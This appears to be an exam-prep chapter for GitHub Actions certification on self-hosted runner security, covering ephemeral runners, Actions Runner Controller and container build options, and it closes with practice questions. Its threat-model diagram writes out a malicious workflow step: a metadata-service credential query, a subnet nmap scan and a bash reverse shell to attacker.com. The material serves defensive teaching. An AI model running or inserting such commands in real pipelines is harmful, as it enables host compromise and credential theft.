7.3 Self-Hosted Runner Security & Ephemeral Runners
Key Takeaways
- Hard Security Rule: Never use self-hosted runners on public repositories because external contributors can submit malicious pull requests executing arbitrary code that compromises the host, internal network, and stored secrets.
- Persistent (non-ephemeral) self-hosted runners create severe security risks due to shared file systems, residual source code, cached credentials, lingering background processes, and lateral movement vectors.
- Ephemeral runners configured with `./config.sh --ephemeral` register for exactly one job execution and automatically unregister and terminate upon job completion, guaranteeing a clean execution environment.
- Actions Runner Controller (ARC) is GitHub's official Kubernetes operator that automates scalable, containerized, ephemeral self-hosted runner fleets using Custom Resource Definitions (CRDs).
- Container builds on Kubernetes runner pods should leverage rootless, daemonless build tools (e.g., Kaniko or Buildah) to eliminate the severe security risks associated with running privileged Docker-in-Docker (DinD) sidecars.
Self-Hosted Runner Security & Ephemeral Runners
Deploying self-hosted runners gives organizations immense flexibility, control over hardware, and direct access to private networks. However, self-hosted runners introduce significant security responsibilities. Because workflow steps execute arbitrary shell code, an improperly secured runner can become an entry point for lateral movement, credential theft, supply chain tampering, and persistent internal compromise.
Understanding the security threat model of self-hosted runners, the critical risks of public repositories, the configuration of ephemeral runners, and the architecture of Actions Runner Controller (ARC) on Kubernetes is a heavily tested domain on the GH-200 examination.
1. The Public Repository Hard Security Rule
GitHub's official documentation and enterprise security frameworks establish a fundamental rule:
[!CAUTION] THE GOLDEN RULE OF SELF-HOSTED RUNNER SECURITY: NEVER use self-hosted runners on public repositories. Self-hosted runners should strictly be reserved for private or internal repositories where all contributors with pull request access are trusted corporate entities.
+-----------------------------------------------------------------------------+
| ATTACK VECTOR: UNTRUSTED PUBLIC PULL REQUEST EXECUTION |
| |
| 1. Malicious Actor forks your public repository |
| 2. Attacker modifies workflow file (.github/workflows/ci.yml) or tests |
| 3. Attacker adds malicious bash step: |
| run: | |
| curl -s http://169.254.169.254/latest/meta-data/iam/secrets... |
| nmap -sS 10.0.0.0/16 |
| bash -i >& /dev/tcp/attacker.com/4444 0>&1 |
| 4. Attacker opens Pull Request against public repository |
| 5. Self-hosted runner in your private VPC picks up job and executes code |
| 6. Result: Host compromised, private network scanned, cloud IAM stolen |
+-----------------------------------------------------------------------------+
Why Public Repositories Present Critical Danger
When a public repository executes workflows on self-hosted runners, any user on the internet can fork the repository, modify the workflow or build scripts, and open a pull request. If the workflow triggers on pull_request (or if an maintainer approves the workflow run), the untrusted code executes directly inside your private network or on-premises datacenter.
Once code executes on the self-hosted runner, the attacker can:
- Query cloud instance metadata services (e.g., AWS
http://169.254.169.254) to steal instance IAM role credentials. - Scan private subnets (
10.0.0.0/8,192.168.0.0/16) for unauthenticated databases, internal APIs, and Kubernetes control planes. - Install persistent rootkits, cryptominers, or reverse shells on the host operating system.
- Read environment variables, secrets, and repository code processed by previous or concurrent jobs.
[!IMPORTANT] Organization Policy Protection: GitHub disables public repository access to self-hosted runner groups by default. In Organization and Enterprise settings, the policy "Allow public repositories to use self-hosted runner groups" must remain disabled.
2. Persistence Risks on Long-Lived Self-Hosted Runners
In traditional self-hosted runner setups, a single persistent virtual machine or bare-metal server executes dozens of workflow jobs over weeks or months. This persistent model introduces severe architectural risks:
PERSISTENT RUNNER CONTAMINATION RISKS
[Job 1: Build Frontend] ──> Leaves node_modules & temp files in _work/
│
▼
[Job 2: Malicious/Buggy]──> Modifies /etc/resolv.conf, installs trojan binary in /tmp
│
▼
[Job 3: Deploy Production]─> Reads tainted /tmp binary; exports PROD_DB_PASS to disk
│
▼
[Job 4: Test Integration] ─> Reads leftover PROD_DB_PASS from disk; exfiltrates data
Core Vectors of Persistent State Pollution
- Workspace Residue (
_work/): By default, the runner checks out code into subdirectories of_work/. If a job fails before cleanup or malicious code writes hidden files, subsequent jobs running on the same host can read or execute those leftover artifacts. - Dangling Background Processes: If a previous job starts background processes, web servers, or network listeners that fail to terminate cleanly, those processes continue running during subsequent jobs, consuming memory or intercepting network traffic.
- Docker Daemon Pollution: On hosts running Docker, containers, volumes, networks, and untrusted images created by Job A persist on the host daemon, accessible by Job B.
- Cached Credentials: Toolchains frequently cache credentials in user home directories (e.g.,
~/.npmrc,~/.docker/config.json,~/.gitconfig,~/.aws/credentials). A succeeding job can read these credentials if they are not explicitly wiped.
3. Ephemeral Runners (./config.sh --ephemeral)
To achieve the clean isolation of GitHub-hosted runners while retaining the network and hardware advantages of private infrastructure, GitHub provides Ephemeral Runners.
An ephemeral runner is a self-hosted runner configured to accept and execute exactly one workflow job before automatically de-registering and terminating.
# Register an ephemeral self-hosted runner
./config.sh \
--url https://github.com/my-org \
--token AB12CD34EF56GH78IJ90KLMN \
--name ephemeral-runner-01 \
--ephemeral \
--unattended
# Start the runner
./run.sh
Ephemeral Lifecycle Mechanics
- Single-Job Execution: The runner polls GitHub, receives one job assignment, and executes all workflow steps.
- Automatic De-registration: As soon as the job finishes (whether the job succeeded, failed, or was cancelled), the runner daemon notifies GitHub and automatically removes its registration from the runner pool.
- Process Termination: The
Runner.Listenerprocess cleanly shuts down and exits. - Infrastructure Recycling: The underlying infrastructure automation (such as an AWS Auto Scaling Group lifecycle hook, Azure VMSS script, or Kubernetes operator) detects process exit, destroys the VM/container instance, and provisions a brand-new, clean instance from a pristine base image.
4. Actions Runner Controller (ARC) on Kubernetes
For enterprise Kubernetes environments, Actions Runner Controller (ARC) is GitHub's official Kubernetes operator designed to orchestrate scalable, ephemeral self-hosted runner infrastructure.
+-----------------------------------------------------------------------------+
| ACTIONS RUNNER CONTROLLER (ARC) ARCHITECTURE |
| |
| +---------------------------------------------------------------------+ |
| | GitHub Actions Control Plane | |
| +---------------------------------------------------------------------+ |
| ▲ │ |
| │ 1. Outbound HTTPS Session │ |
| │ (Detects queued jobs) │ |
| │ │ 2. Dispatches |
| +───────────┴──────────────────────────────────────────┼──────────────+ |
| │ Kubernetes Cluster │ │ |
| │ ▼ │ |
| │ +------------------------+ +------------------------+ │ |
| │ | arc-runner-listener | | Ephemeral Runner Pod | │ |
| │ | (Lightweight Poller) | | (Single Job Lifecycle)| │ |
| │ +------------------------+ | | │ |
| │ │ | +------------------+ | │ |
| │ ▼ 3. Scales Pods | | runner container | | │ |
| │ +------------------------+ | +------------------+ | │ |
| │ | ARC Controller Manager|────────────>| | dind / container | | │ |
| │ | (Manages ScaleSets) | | +------------------+ | │ |
| │ +------------------------+ +------------------------+ │ |
| +─────────────────────────────────────────────────────────────────────+ |
+-----------------------------------------------------------------------------+
Core ARC Custom Resources & Components
- Controller Manager (
gha-runner-scale-set-controller): The Kubernetes operator controller that watches Custom Resource Definitions (AutoscalingRunnerSet) and provisions runner pods dynamically. - Listener Pod (
gha-runner-scale-set-listener): A lightweight client pod that establishes an outbound HTTPS connection to GitHub Actions, listens for queued jobs targeting the runner scale set, and signals the controller to scale up runner pods. AutoscalingRunnerSetCRD: Defines the runner pool configuration, target GitHub organization/repository, min/max pod replicas, container image, resource requests/limits, and labels.- Ephemeral Runner Pods: Kubernetes pods containing the runner container that spin up on demand, execute a single job, and are terminated and garbage-collected immediately upon job completion.
Container Builds in Kubernetes: DinD vs. Rootless Builders
When running CI/CD workflows inside containerized Kubernetes runner pods, jobs frequently need to build container images (docker build). Platform teams must choose an isolation strategy:
| Container Build Strategy | Mechanism | Security Posture | Trade-offs |
|---|---|---|---|
| Docker-in-Docker (DinD) | Runs a Docker daemon in a sidecar container with securityContext.privileged: true. | ⚠️ High Risk: Privileged containers can break out of container sandboxes and access the host node kernel. | Full compatibility with docker build, docker-compose, and Docker container actions. |
| Rootless Docker / DinD | Runs Docker daemon in userspace without root host privileges. | 🟡 Moderate Risk: Prevents host root escalation, requires specific Linux kernel user namespaces. | Some overlayfs storage driver performance penalties. |
| Daemonless Tools (Kaniko / Buildah) | Builds OCI images in userspace inside standard, unprivileged Kubernetes pods without Docker. | 🟢 Zero-Trust (Secure): Completely unprivileged; no daemon required; ideal for enterprise K8s. | Cannot execute docker run or Docker-based GitHub Actions directly. |
5. Security Threat Model Comparison Matrix
| Security Dimension | Persistent Self-Hosted VM | Ephemeral Self-Hosted VM (--ephemeral) | Actions Runner Controller (ARC) on K8s | GitHub-Hosted Standard Runner |
|---|---|---|---|---|
| Job State Isolation | 🔴 None (Shared file system & memory) | 🟢 Clean OS per job | 🟢 Fresh container pod per job | 🟢 Pristine Azure VM per job |
| Public Repo Safety | 🔴 Critical Vulnerability | 🔴 High Risk (VPC network exposure) | 🔴 High Risk (VPC network exposure) | 🟢 Fully Safe (Sandboxed Azure VM) |
| Autoscaling Speed | ❌ Manual provisioning | 🟡 Moderate (VM boot 1–3 min) | 🟢 Fast (Container pod boot 5–15 sec) | 🟢 Instantaneous cloud provisioning |
| Private VPC Access | ✅ Direct private network access | ✅ Direct private network access | ✅ Governed via K8s NetworkPolicies | ❌ Requires Larger Runner / VNet |
| Host Compromise Risk | 🔴 Persistent rootkit risk | 🟢 Ephemeral disk wipe on terminate | 🟢 Pod destroyed after job | 🟢 VM destroyed after job |
Why does GitHub explicitly recommend against attaching self-hosted runners to public repositories?
An enterprise platform engineering team wants to deploy a cluster of self-hosted virtual machines that execute jobs with zero cross-job state contamination, ensuring that any residual files or modified system binaries are completely discarded after a single job runs. Which configuration flag should be passed to ./config.sh during runner installation?
When deploying Actions Runner Controller (ARC) in an enterprise Kubernetes cluster, which architectural component maintains the outbound long-polling connection to the GitHub Actions API and coordinates with the controller to scale ephemeral runner pods?